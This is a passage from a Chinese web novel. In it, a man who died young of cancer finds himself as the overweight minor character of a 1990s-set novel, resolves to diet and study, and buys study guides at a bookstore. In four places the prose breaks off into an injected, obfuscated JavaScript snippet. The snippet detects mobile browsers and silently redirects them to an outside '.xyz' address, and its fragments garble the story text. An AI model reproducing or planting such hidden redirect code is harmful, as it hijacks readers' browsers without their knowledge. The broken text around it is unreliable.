在母亲去世之后，继父仍然在节假日与他有联系。 只是池乐自己运气不好，好不容易从名牌大学毕业，也在数一数二的学校里找到了教职，然而，刚入职一年，就被查出了癌症。 说起来，这本年代小说，还是一起化疗的病友推荐给他的。 在现实生活中英年早逝，穿越过来又在小说里当炮灰，按道理说，池乐很有理由埋怨命运的薄待。 可换一个角度想，纵然是穿越成书中的炮灰，能够再活一次，何尝不是老天爷的补偿呢？ 就好像是有神秘的力量让他穿越，从而挽救一个家庭的命运一样。 想到这里，池乐对于自己穿越的不解与疑惑也算是消失了，眼瞧着面前年轻了十几岁的、只属于自己的母亲，池乐没忍住，将一块排骨放在了对方碗里。 “怎么了？你有什么话要说？” 沉默了一晚上，也察觉到了偷偷看自己的目光，章佳也知晓了此时儿子有话要讲。 接受了儿子的好意，章佳也给儿子一个解释的机会。 “妈，对不起。” 早已经默认池乐会狡辩亦或者是趁机提要求的份儿上，章佳却不曾想，自己得到的竟然是一声颇为诚恳的道歉。 “是我做错了事，让你担心了，以后不会了。” “？” 直到晚饭结束，章佳仍然觉得今晚的事有些玄幻，以至于她有些无法接受。 那个主动做饭，认真看书，还会拉下面子给她道歉的，真的是她儿子吗？ 难道是太阳从西边出来了？ 亦或者说，对方还惹出了更严重的问题，不得不让她出马解决？ 章佳心中五味杂陈，想东想西——因为儿子突兀的道歉，那些原本埋在她心中，想要借用来批评的话不得以全卡在喉咙中。 这到底是怎么回事？ 该不会是儿子在外面受了欺负吧？ 池乐并不知道自己有感而发的道歉会让母亲思绪万千、心神不宁，事实上，在吃完晚饭、帮忙收拾了碗筷之后，就出了门散步。 之所以晚上还出门，完全是因为他一不小心吃多了。 纵观池乐的上辈子，他完全没有过胖的经验。小时候，他家庭条件不好，平日里凑合着吃，就算是想长胖也没机会。 后来么，初高中时在学校食堂里吃饭，想长胖就更不容易了。 再到了读大学的时候，那时候有了学校发的奖学金和助学金，自己又在外面打工，生活条件好多了，但仍然不喜欢把钱花在吃上面。 最后到了读研，同门为了写论文压力大天天狂喝奶茶，而他觉得一杯奶茶二三十太贵，选择看不进去文献时，就默默去操场跑步。 托贫穷的福，池乐一直没有体会过胖的滋味，可没想到刚刚穿越来的第一顿饭，他就一不小心吃撑了。 当然，池乐绝对不承认自己贪吃，而是这具身体的食欲太好了。 对于原主来说，吃饭吃到尽兴是常态，加上父母纵容，家中也总是常备各种零食供他随意取用。 但在池乐看来，原主目前174cm的身高，体重90KG，哪怕不算BMI指数，也已经到了必须控制的程度。 先不说肥胖会造成一系列慢性疾病，单说吃了饭就犯困这一点，就无缘无故地丢失掉许多可以用在学习上的时间—— 没错，哪怕穿越了，池乐作为最佳学术打工牛马的习惯仍然还没有改掉。 在维持身体健康之外，池乐也没有忘记自己穿书的炮灰身份。 但凡是正常人，就没有人不想过安生日子的。 如果说在见到原主的母亲之前，池乐的愿望是不被剧情裹挟，发展到自取灭亡的那一步。 那么在见到母亲之后，这种愿望就变成了不但自己要改变原书中的命运，还要带着父母逃离悲剧的结局，过上好日子。 ——过不一样的生活，将每一天都过得坦然又有意义，这是老天爷赋予自己又一次生命所附带的条件。 当然，除此之外，池乐还有一个隐藏的、与剧情无关的志向摆在眼前。 上辈子，他所研究的领域在他读书时已经变成了一片红海，该研究的重点课题早在二十一世纪初被学者所做完。 在他们这个学科中，那些熠熠生辉的名字，他们的学术高峰期都在这二十年。 池乐不清楚年代文与现实生活中学术发展轨迹是否一样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571208|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但考虑到两个世界的共性，他又对此有所期待。 他很好奇，在二十一世纪初这个百废俱兴、一切蓬勃发展的时代，他熟悉的领域有了他的加入，是否能有不一样的发展。 心中隐约对于自己的未来有所期待，池乐脚下的步伐迈得更快了。 到了现在，他仍然不知道该如何改变自己的命运，但也绝对不是毫无头绪—— 就像被他从中间截住的表白一样，只要他做出不一样的改变，就会像蝴蝶振翅一样，煽动其他剧情进行变化。 只要他这只蝴蝶煽动翅膀所造成风暴足够大，就能够完全颠覆剧情，改变既定的命运。 体重也是其中的一环。 原书中，作者总是不吝啬于用笔墨来描述他臃肿的身体，继而佐证原主的讨人嫌，他很想知道，当他真的减下肥，改善了体态，这一部分剧情是否还会出现？ 瘦下来的他，又会有什么样的变化？ 心中怀着目标，池乐在家属楼下足足走了三圈。 在商品房经济发展发展的时代，地产商会在小区里放置健身器材作为噱头，而在九十年代末，机械厂的家属院里就已经有塑胶跑道和全套健身器材了。 这也是效益好的国有厂的底气。 只不过，正如同到来的新时代一样，无论是机械厂也好，百货商店也罢，都会逐渐走向没落，就好像原主这一家人一样。 会有办法的。 或许是原主缺少锻炼，只是简单锻炼一番，就已经是汗如雨下，气喘吁吁。 而伴随着他的出现，机械厂里下来遛弯的老人们也瞧见了他的身影，互相交换眼神，趁池乐不注意的时候议论纷纷。 机械厂就这么大个地方，不少学生与池乐在一个学校上学，消息十分灵通。也就是这一会儿的功夫，厂里的家长们也知道池乐今天在学校表白的“壮举”了。 “池家小伙子，有胆儿啊。” 吃瓜群众里有闷不做声的，就也有嘴碎的，池乐上楼时，就遇到了当面调侃他的大爷。 池乐闷不做声，一笑了之。 老大爷讨了个没趣，摸了摸鼻子，尴尬地走了。 锻炼完之后，池乐上楼接水擦洗了一番，换了衣服，坐在书桌前继续看书——明明高二读了半年，原主的书和习题册都还是一片空白。 先不说池乐穿越时距离高考已经过去了N年，哪怕是热腾腾的高三学生穿过来，恐怕这些陌生的习题也够他喝一壶。 要知道，这些年华国的教育改制一直都没停过。 灯下，池乐正在为自己的薄弱的学习基础而伤神，客厅里，章佳心神不宁，在屋里转来转去。 想了半晌，她终于下定决心，出门骑上自行车，花五毛钱，去共用电话亭打电话。 远在隔壁省出差的池建国半夜接到了妻子突然的来电，吓了一跳。 “怎么了？” 电话里，章佳一脸严肃：“老池，乐乐恐怕出事了，你忙完工作赶紧回来。” 此时此刻，池建国尚且未意识到这句话的含义，仍然安抚道：“这小子又惹事了？你别生气啊，等我回去揍他。” 章佳拧眉道：“……不，他没有惹我生气，他今晚上不但和我道歉了，还锻炼了，现在回了家，正在看书。” 池建国脸上的神色终于变了：“老婆，我忙完立刻就回家！” 5. 第 5 章 这一晚上，池乐足足琢磨了两个小时的学习，越看越觉得心中沉重，要不是被母亲叫了好几声，恐怕还得再在书桌前继续坐牢。 按道理说，高二的学习任务并不重，自学补一补也不是没有可能，奈何原主实在是个学渣。 教科书上一点儿笔记不做，作业也不写，书上和本子上一点儿学习痕迹都没有。 这让习惯了后世教辅书籍满天飞的池乐十分不适应。 想要提高成绩，他得从哪里搞点儿参考资料来，而且，如果没记错的话，如今已经是高二下半学期，九月份开学就要升入高三。 等到了高三，复习强度上来，各科试卷会如雪花一样扑过来，老师们也会有自己的节奏。 到了那时，池乐想要再补之前的内容，就难了。 时隔多年，池乐再次因为学习成绩而睡不着觉，在床上翻来覆去，等到了凌晨一点才勉强入睡。 这一晚上，或许是心中有事，亦或者是不适应久违的饥饿，池乐做了整夜的考试不及格的噩梦。 翌日，清晨第一缕阳光从窗户里照进来，池乐就被饿醒了。 好想吃东西。 忍着这股饿劲儿，池乐起身穿上了衣服，顾不得来一个属于清晨的忧郁和怔愣，就推开了门，朝厨房走去。 昨晚上做饭的时候，他看见柜子里还有咸菜和玉米，对于减肥人士来说，咸菜盐度大，非常容易锁水，亚硝酸盐含量超标，绝对不是一个好的选择。 但罗马不是一天建成的，原主身上的肥肉也不是一天吃出来的，口味的变化需要时间，池乐虽然下定决心要减肥，但也没到一口不健康的东西都不允许自己吃的程度。 打定主意，池乐做饭的动作就变得很快—— 玉米和鸡蛋上锅蒸熟，另外一口锅里，池乐下了一小把米，打算煮小碗粥用以佐菜。 一切都煮在锅里了，池乐评估了一下，发现这这顿饭仍然碳水超标，肉类和蔬菜都不够。 ……算了。 按照当下的情况，这样已经很好了。 池乐一家人住的是机械厂分的房，分房时池建国刚刚结婚，分到的房间统共就七八十平，在池乐出生之后隔成了两室一厅。 后起的隔断质量堪忧，隔音效果也见仁见智，池乐刚刚起床开始在厨房忙活的时候，章佳就听到了动静。 饿的睡不着找吃的？ 章佳回想了一下家里的库存，前不久单位里进货了一批沪市流行的新零食，她也买了一些放在家里，虽然她没和儿子说，但对方到处翻找，应该是能找到吧。 这些年来，章佳也不是没有督促过池乐减肥，但每一次都收效甚微，时间长了，她干脆就不说了。 既然说没用，何必要多费口舌？ 习惯了儿子的执拗和倔强，今天早上池乐饿的睡不着，起床翻找零食，她反倒是松了一口气。 谢天谢地，儿子总算是“正常”了。 翻了个身，章佳正打算睡个回笼觉，却没想到过了几分钟，米粥的香气就顺着门缝飘了进来。 章佳：“？” 粥的香气越来越浓，章佳脑子混乱了几秒，睁开眼，认命地换了衣服起身。 客厅里，池乐已经将早餐摆在了桌上——咸菜、昨晚上没有用完的黄瓜、四个鸡蛋，还有两节蒸熟的玉米。 为了补充蛋白质的缺口，池乐还泡了两杯豆浆。 “妈，你等会儿，厨房里还有粥。”过了一晚上，接受了自己的新身份，池乐这声“妈”叫的心甘情愿。 只是，彼此之间到底还有一些陌生，对于自己凑合的这一顿西不西、中不中的早餐，池乐到底还是觉得有些不好意思。 这种不好意思，也算是客气的一种。 “……哦、哦，好。”章佳晕晕乎乎地坐在自己的位置上。 老天爷，自从昨天太阳打东边落下之后，今天太阳又打西边儿出来了？ 池乐持续的不对劲让章佳有些如坐针毡，爱心早餐吃到嘴里，也没有那份儿惬意的劲儿，思来想去，她还是决定旁敲侧击地问一句。 “昨天是学校出事了吗？” 池乐花了大把零用钱买玫瑰，给小姑娘表白，这些章佳大概都能猜得到，后来，这事情大概率结束，估计也是学校介入了。 这些情况昨晚上章佳本来准备问的，结果池乐率先那一句道歉打乱了她的思绪，这才把问题耽搁了。 思路顺了，章佳心中猜测也有了。 不是学校给了批评，就是表白失败伤了自尊。 想到这里，章佳不得不安慰：“学校如果罚你，妈给你想办法。” 顿了一下，又说：“天下何处无芳草，你还小呢，之后的事情之后再说。” 说是安慰，但章佳内心里仍然对于儿子的改变抱有期待，害怕自己安慰两句，对方又回到了之前的模样，于是绞尽脑汁鼓励： “不过，强大自身也是好的，人家都说，打铁还得自身硬……” 看着母亲绞尽脑汁，想要说什么，又担心伤害到他的自尊，池乐一边觉得好笑，一边又觉得怅然。 这份母爱何其沉重！ “妈，真没什么事，是我自己想减肥的。”池乐语气轻松地说，“不过，这次的确是我闯了祸，学校让你星期一去一趟。” 请家长，要去学校啊？ 好好好。 作为问题学生的母亲，章佳去学校的次数也不少了，为了和学校打好关系，她和丈夫在校庆的时候还给学校捐过钱，被请去学校挨批评已经是家常便饭。 此时听到需要去学校，她反而松了一口气。 “嗯，我星期一请个假。” 这件事就算应下了。 “谢谢妈。”活了这么久，两辈子加起来第一次被请家长，池乐本人也怪不好意思的，听到章佳答应，自己心中也轻松了些许。 “妈，吃饭。” 见章佳一直拿着勺子在碗里捣鼓，始终没有吃别的，池乐剥了一个鸡蛋，放在她面前。 父母这一辈经历过饥荒、也熬过许多穷日子，有了孩子之后，自己仍然舍不得吃，以小孩为主。 池乐不想再当家里的小皇帝了。 明明是一顿普通的早饭，章佳吃得五味杂陈，连带着池乐告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571209|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉她等会儿要去书店买书也没反应过来。 “哦，你还缺钱吗？” 章佳下意识从兜里掏出一百块钱来。 池乐表情有些微妙，神色中隐约包含着几分谴责——如果他没有了解错的话，以现在的物价，一个国企员工一个月的工资不过是几百块。 而且，原主在不久之前，刚刚挥霍了一大笔。 纵然如此，章佳仍然没有改变。 “……拿错了。”在儿子微妙的目光下，章佳明明是掏钱的人，心中竟然也有几分不自在，尴尬一笑，将一百换成了二十。 她这不是，希望儿子的“不正常”能维持得长一些嘛？ 为了达成自己的目标，多花点儿钱又何妨？ 池乐根本不知道章佳心中是怎样的纠结，吃完早饭之后，他搭手收拾完了厨房，告别了母亲出了门。 “怎么去，我送你？”章佳问。 “我走路。” 减肥并不是说全靠节食和高强度的运动，而是要将新的生活习惯融入到生活之中。 “……行。”眼看着儿子是真的要减肥，章佳的心情又复杂了起来。 出了门，没有导航，池乐也并不清楚新华书店的位置，但这并不影响他行动。 “叔，打扰了，请问一下新华书店咋走啊？” 到了路边的公交站，池乐环视了一圈，找了一个戴眼镜、看着报纸的大叔问路。 无意间被打扰，大叔愣了一会儿，打量了他两眼，才说：“直走右拐，再往前一公里，然后你再问。” “你在这里坐1路车，坐两站也能到。” 后边这半句，是看池乐说话还算客气，大叔主动加的。 “好的谢谢。”池乐忽略了后半句，也忽略了即将到来的公交车，掉头走了。 他要走路，还要减肥。 大叔：“……” 神经。 无视了路人的目光，池乐开始全速快走——作为一个大基数，一开始就跑步是不现实的，他也担心自己膝盖出问题。 相比于慢跑，快走反而是消耗能量更好的方式。 沿着街边行走，顺势将四周的标志性建筑物记在心中，池乐用一点一滴的功夫来融入这个陌生的世界。 按照路人大叔指路的方式向前走，又逮着一个路人问了一次，半小时后，池乐终于来到了新华书店的门口。 而在这时候，足够的运动量也让他消化了早饭。 又饿了。 这就是食欲旺盛选手的世界吗？ 将注意力强行转移开，池乐推开了店门，打算好好游览一番九十年代末期的新华书店—— 在实体书仍然占主流，出版业尚且处于朝阳期的当下，新华书店对于外人来说是令人羡慕的好单位，对于爱书的人来说，则是天堂。 进了门，池乐环顾了一圈，正打算四处逛逛，没想到走了几步，就和一个陌生的面孔对上了眼。 下一秒，对方也认出了他。 “晦气！” 池乐看看男主，后者也看向他，两人脑海中在同一时刻闪出了同样两个字。 6. 第 6 章 新华书店门口，池乐与陆宇明对视了一眼，然后双方默契地移开了目光。 “小陆，干啥呢，还不过来？” 新华书店门口，运送新书的卡车已经到了，但搬货的人还在门口发愣，有人在门外喊了一声。 “来了。”陆宇明无声地看了池乐一眼，快速地绕开他，几步走下了门口的台阶。 池乐挑了一下眉。 不愧是男主——虽然没说话，但这个眼神中的忌惮和威胁都是足足的，哪怕池乐不擅长读空气，竟然完全能够看懂其中的含义。 当然，对于男主在担忧什么，原书中的男主或许不会懂，但因为无聊，仔细将这本小说读过的池乐却完全明白。 当下，还在上高二的男主面临着十分严峻的经济危机。 前两年，男主寄居的家庭经历了一次失业，失去了经济来源，原本就不紧凑的家庭愈发贫瘠。 而这时候，男主收到消息，在老家里的亲妹妹生了病，需要一大笔钱。 在高一的假期，男主靠着黑市倒卖货物赚了不少，原本已经缓解了经济危机，然而，意外还是比想象中来得更多。 为了在短期之间赚到钱，男主想办法托关系找了一个可以周末做的兼职，就是新华书店的搬运的工作。 新华书店是效益很好的国有企业，不但编制内的员工工资高、福利好，就连兼职人员的工资也给的十分慷慨。 唯一一个问题，便是书店对于兼职人员的要求有些高——其中一点，便是要求兼职人员年满十八岁，是成年人。 刚刚上高二，靠着关系进来的男主当然不满足条件。 心中有鬼，再加上刚刚产生过一些不愉快，男主便担心池乐从哪里得知了情况拆穿自己。 毕竟，作为自己的同学，池乐只要拿出一点儿证据，就能够让他丢了这份工作。 而以新华书店兼职的火热程度，想要找到替代自己的人选，简直是分分钟的事。 “真是以小人之心，度君子之腹。”弄明白了其中的重点，池乐也忍不住吐槽一句。 他没那么闲好吧。 拆穿了男主对他来说又有什么好处？ 不过，从这里男主的反应也能看出来，对方的心机还远没有达到原书后期创业时的水平，显得十分稚嫩。 但凡是个正常人，担心别人发现自己的秘密，都不应该表现出担忧又警惕的模样吧。 生怕别人不知道一样。 对于剧情的怨念化成了对男主的腹诽，吐槽了好几句，池乐心里这才舒服了，按照指示牌上了二楼。 当下的教辅书市场还没有以后那么发达，但看上去已经初具端倪。 ——二楼竟然为教辅书专门设置了一个书架！ 池乐眼睛一亮，也顾不得关注其他，径直朝着自己的目的地奔去。 “小陆，今天咋了，怎么又发呆呢？” 就在池乐忙于挑选自己的参考书，乐不思蜀时，陆宇明也后知后觉察觉到了自己刚刚反应中的问题，心中后悔不已。 他太蠢了。 刚才他那样，不就是撺掇着对方找他麻烦吗？ 说来也怪他，昨天下午凑完了热闹，在学校里去了一趟教务处之后，回家的时间就晚了，挨了婶子一顿骂。 为了赶作业，早上一大早起来偷偷摸摸写完了功课，又给家里做了早饭，才想办法找借口溜出来的。 也不怪他心眼多——按照自己叔父家的经济条件，他根本不敢告诉对方自己找到了书店的工作，否则钱还没有发到自己口袋里，就会被以各种借口光明正大地要去。 他要是赚不到钱，他妹的病怎么办？ 想来想去，最近严打，自己别的赚钱的路也都堵死了，目前全靠眼下这一条路——要不然，他也不会这么紧张。 何况，以他对池乐的了解，对方是根本不会来新华书店的人。 所以这到底是为了什么？ 是谁走漏了消息吗？ 陆宇明越想越焦虑，连带着被老员工叫了好几声才答应：“没事姐，就是刚想了下中午吃什么。” “你放心，咱们单位不是别的穷单位，会管饭的。” 负责带陆宇明的员工是一个临近退休的大姐，脑袋上烫着时尚的羊毛卷，话语里充满了浓浓的优越感。 按道理说，搬运书籍原本是她的活，但她老了，干不动了，专门找了领导，找了点新人来。 陆宇明就是那个新人。 “你干活仔细一点，给你发了工资，就不是让你来玩的。”大姐的语气里带着埋怨，仿佛陆宇明的走神是犯了多大的罪一样。 陆宇明不吭声，他虽然是刚来的，但对书店的内部情况也不是没有了解。 早在来之前，把他弄进来的朋友就和他说过，这个岗位本来就是大姐为他儿子专门要的，没想到飞来横祸，横插了陆宇明这么一个“意外”进来。 “知道了姐。” 为了生活，陆宇明继续忍。 与快进化成忍者神龟的男主相比，此时位于二楼的池乐正沉浸在书籍的海洋里。 九十年代末的物价实在是太便宜了！ 池乐看中了一本名叫《名师讲解：数学解题新思路》的参考书，这本书虽然名为《新思路》，但基础部分也讲述得十分详细。 尤其是基础知识讲解，完全是将书中的知识点展开分析，掰开揉碎了不厌其烦地讲。 对于普通听课的学生来说，这本书可能略显啰嗦，但对于池乐这种初来乍到，恰好是缺少基础的人，这本书可是太合适不过了。 而且，这一整本十分厚重的书籍，竟然只需要4块钱！ 这与后世动不动就大几十块钱的书相比，显得十分亲民。 怀揣着对于知识的热爱，池乐美滋滋地翻看了一阵子，才开始找别的书。 正如后世各个品类中质量上乘的参考书只有一两本一样，在成功地淘到《新思路》之后，池乐就开始连续踩坑。 其他的几本参考书，要么是内容敷衍、千篇一律，要么就是字词句错误，印刷校对错误频繁。 更糟糕的是，池乐对于其中一本印象十分深刻——那是原书书包里唯一一本参考书。 只是论质量、论价格，性价比完全打不过池乐手中这本《新思路》，而那本教辅之所以能够进入学校，大概率是搭了政策的班车。 也正是因为不缺销售渠道，因此这些书籍才没有了改进的动力。 想到这里，池乐不由得怀念起了王后雄、薛金星等熟悉的名字，包括读书时最讨厌的《五三》也变得可爱了起来。 嫌弃归嫌弃，但池乐买书的脚步没有停止，《新思路》一共出了物理、化学、数学三科，池乐全都要了。 除此之外，他在书架上看到了熟悉新概念英语，为了练习英语，买了。 考虑到自己的字体与原主不同，之后字体变化也得有说法，因此将字帖也加入自己的选购列表里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571210|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 由于每本书价格都不高，再加上池乐刚刚穿越，动力惊人，在书店转了一圈之后，他手上已经有七八本书。 这还不包括他想买的《故事会》等杂书。 行了。 当下，在新华书店买书的人不少，但是像池乐这么一口气买许多本教辅书的，还是少书中的少数。 或许是新华书店的工作人员看他抱着书吃力，竟然出乎意料地有了服务态度，拿了篮子来给他。 “同学，用这个装。” 对于大顾客，还是热爱学习的大顾客，新华书店的工作人员还是十分热情的。 拿了专属的购物篮，再评判一下自己的体力，池乐发热的大脑终于冷却了下来——现在不是未来，出了门可以打网约车，买了书是要自己提回去的。 而他现在是个体力值为负值的废柴。 依依不舍地收了神通，池乐辛苦地提着篮子，从二楼下到了一楼，前往收银台买账，而后，不其然地看到了一张熟悉的面孔。 “……你要买这些？” 男主的神色带着万分狐疑和复杂。 十多分钟前，陆宇明终于搬完了书，而这时，池乐仍然还没从二层下来，思来想去，他还是不放心，于是找借口凑到了收银台—— 这个地方是出入口，视线最好，能够一眼望到整个书店，但凡是池乐想要搞点儿动静，他都能第一时间看到。 而他“防小人”也不是没有代价，当他凑到收银台时，原先在收银台的前辈立刻站了起来。 “小陆，你帮我收会儿钱，我休息一下。” ——年轻面嫩的兼职员工，完全已经被随意使唤的形状。 因此，在池乐买单时，情理之中又意料之外地遇到了一个熟悉的面孔。 晦气+1。 只是，这一次，陆宇明的注意力只在池乐脸上停留了一会儿，便转移到了手中的教辅书上。 在看清了几本书的名字之后，他的脸绿了。 《新思路》、《优化设计》、《教材完全解读》…… 这完全都是他看中的教辅啊！ “你确定你要买这些？”陆宇明再次询问。 “嗯。” 眼看着自己垂涎许久，因为贫穷无法购买，只能借着休息的间隙偷偷观看的书籍被买走，陆宇明心在滴血。 尤其是《新思路》的物理书，如果没记错的话，这一本是最后一本。 眼睁睁地看着池乐从兜里先掏出一张二十，再掏出一张十元，陆宇明再也记不起自己的工作重点，心中只冒出了几个血淋淋的大字： “该死的狗大户！” 这是第一次，陆宇明在心中生出了仇富的思想。 都是人，为什么人和人的命运完全不同呢？ 当然，还没有从池乐的刺激中回过神来，陆宇明很快就知道了什么叫做“屋漏偏逢连夜雨”。 就好像约好了一样，书店门被打开，薛春玲走了进来。 对方背着书包，眼睛在书店内扫了一圈，一眼就看到了坐在收银台上的陆宇明，眼神闪了一下，露出了惊喜的光芒。 “陆同……” 在说这句话时，陆宇明提防的那位阿姨恰好转过了头。 就在陆宇明紧张到心跳速度一百八时，一个算不上的陌生的声音插了进来：“呦。” 薛春玲看见了来人，瞬间被转移了注意力。 “你怎么在这里？” 讨厌鬼！ 7. 第 7 章 如果不是穿越到书里，池乐绝对不会发现自己原来有着如此的恶趣味。 他承认，在刚才薛春玲喊出“陆同学”时，他心中绝对是存了看戏的念头的。 在第一时间，他转过了头，只想在现场第一时间观看陆宇明紧张的表情。 这可是活生生的男主掉马！ 而且，死道友不死贫道，池乐不当炮灰，不主动找事，但绝对不会错过看男主倒霉的机会。 凭什么他是炮灰，而男主是男主——作为不重要的角色，不让他搞事，难道还不能看热闹了？ 事实也是如此。 在意识到自己的身份有可能被拆穿，陆宇明下意识绷紧了下颌，脊背也挺直了，眼神中透露着慌乱。 宛如一只惊弓之鸟。 如此人性化的动作，让池乐一瞬间有些怔愣。 看惯了书中对于男主运筹帷幄、决胜千里的描述，在池乐心中，对方更像是一个带着气运的完人。 惹男主的都会倒霉，而男主想干的事情都能够做成。 这样的男主，别说是让池乐同情了，嫉妒还差不多——大家都是人，凭什么你注定青云直上，荣华富贵，而别人只能当绊脚石？ 只是，池乐不得不承认，在刚才的一瞬间，他还是心软了。 道路千万条，男主丢掉了工作，当然还会有新的法子，但池乐发现自己无法眼睁睁地看到一个人因为一点儿意外，而将当下好不容易维持的平静生活破碎掉。 哪怕这个是男主。 ……果然，他还是太善良了。 当然，他一大把年纪，不愿意为难小孩子，也是原因之一。 内心中冷静地审视着自己的“烂好心”，表面上，池乐表现得却足够云淡风轻。 而与他的淡定相比，薛春玲的表现可谓是跳脚：“你在这里干什么？又想打什么馊主意？” “我告诉你，你少招惹菲菲了，昨晚上回去，她被她爸妈狠狠地骂了一顿。” 说完，薛春玲狠狠地瞪了池乐一眼。 “哦。” 对于薛春玲的谴责，池乐只是简单地应了一声——有了原书的剧透，他对女主家里的情况略有了解。 女主的父母都是老师，思想十分古板，对女主管束也十分严格。 比如这一次，被大庭广众之下表白明明不是女主的错，但回到了家，仍然不分青红皂白地将女主骂一顿。 正是因为这样的家庭氛围，女主养成了看似温顺，实则叛逆的性格，从某种程度上，也是女主最后会和男主在一起的原因。 女主喜欢男主身上的那股离经叛道、向往自由的劲头。 “你哦什么？这事儿难道不是你造成的？”薛春玲对于池乐的表现十分不满。 “那你想要怎么办？” 这话倒也不是池乐故意耍无赖。 昨天刚穿来时，他替原主收拾烂摊子，当时，除了减少剧情的影响之外，他也尽量地考虑到了“表白”这件事对于女主的影响。 因此，将玫瑰花散出去，是他当时短时间能够想到的最有效的办法。 纵然如此，女主还是挨骂了。 站在闺蜜的立场上，薛春玲谴责池乐理所应当，但再进一步，在询问“怎么办”时，薛春玲也卡住了。 难道真让池乐赔罪，或者主动关心宁玉菲不成？ 她明明是不想再让池乐与宁玉菲扯上关系的！ 意识到自己说错了话，做了蠢事，薛春玲一瞬间涨红了脸蛋，下不来台。 哪怕知道自己脑子偶尔脱线，但这一次，也太蠢了吧？ “给。”男主都帮了，池乐也不在意多帮一个，伸出手将自己买的那本《故事会》拿了起来，递给了薛春玲。 “干什么？” “送你的。” “送我干什么？”薛春玲警惕了起来，第一反应是池乐想要通过讨好她，从而达到和宁玉菲拉关系的目的。 池乐盯着这个小姑娘，有些无奈：“你不是说我做错了吗？赔罪呗。” 女主学习很好，当然不需要池乐多此一举去送教辅，相反，在心情不好的情况下，多看看有趣的杂书，也是转移注意力，改善心情的好方法。 至于为什么送给薛春玲，答案就更清楚了——他避嫌。 “你看完可以借给别人看。”池乐说道，“你自己也可以看看解闷。” 在原书剧情中，除了池乐这样的炮灰，也少不了推动剧情的工具人。薛春玲这样人设有些缺心眼儿的女配，正是推动剧情的好帮手。 在文中，薛春玲有许多次自己犯蠢需要女主帮忙收拾的剧情，还有为了推动男女主的感情线，遭遇不测的剧情。 同为工具人，池乐也希望她本人能够机智一点，聪明一点。 人从书里乖，多看看书，多长见识总没有错。 “……有毛病吧。” 或许是池乐这本书送得让人摸不着头脑，连带着在他抱着书走出书店之后好一会儿，薛春玲才反应过来。 为什么要送她《故事会》？ 回过神来，薛春玲抬起头，发现刚才还在收银台坐着的陆宇明不知道什么时候不见了，只剩下一个陌生的女人盯着她。 “这本书付过钱了！”薛春玲下意识道。 莫名其妙地收到了一本书，薛春玲也不逛书店了，坐在一旁翻看了扉页，映入眼帘的便是一个被人卖了还数钱的小故事。 薛春玲：……总觉得有人在骂她。 无意间帮助了男主，又与同为工具人的女配打了个照面，池乐的这一趟新华书店之旅可谓是十分充实。 当然，最让他开心的，还是自己买到了合适的辅导书。 来的时候琢磨着要增加运动量，池乐步行到了新华书店，回去的时候拿了太多书，只就有坐公交车了。 九十年代末的公交车数量不多，但发车速度很快，池乐运气很好，没等一会儿就来了一辆车，而且车上还有空位。 “车费两毛钱。” 相比于后世的刷公交卡、刷二维码，此时公交车上还有售票员。 对方看池乐上车时拿着书，还帮忙拎了一把。 “同学，你是高二的啊？”收车票钱时，售票员看了一眼池乐的书，随口搭讪道，“这书好用吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571211|171485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 池乐瞬间就get到对方的言外之意。 “您家里有高中生？” “嗨，今年上初三，成绩挺好的，我这不是帮她先留意着嘛。” 或许是见池乐肯和她搭话，在车快要到站点时，对方专门过来提醒了一声：“希望我家小孩和你一样好好学，明年也能上一中。” 闻言，池乐汗颜。 如果没记错的话，原主初中就成绩不行，之所以能上A市的一中，是交了两千择校费的缘故。 两千块钱，在九十年代绝对是一笔巨款，在房地产还没有腾飞的当下，甚至能够在A市买一套房了。 ……原主在坑爹妈这一点上，还真是熟练工啊。 下了车步行回家自不必多说，只是一来一去，池乐身上已经出了一身汗，当下的天气虽然不说十分炎热，但黏黏糊糊的也并不好受。 “妈，我洗澡去。” 这个年代，机械厂给池家分配的房子里自然没有洗浴间，要想洗澡方便，都是去厂里的大澡堂。 平日里，原主一边大吃大喝，一边对自己的身材又有些自卑，对于洗澡一事十分拖延，哪怕不得不洗澡，也要挑人少的时间去。 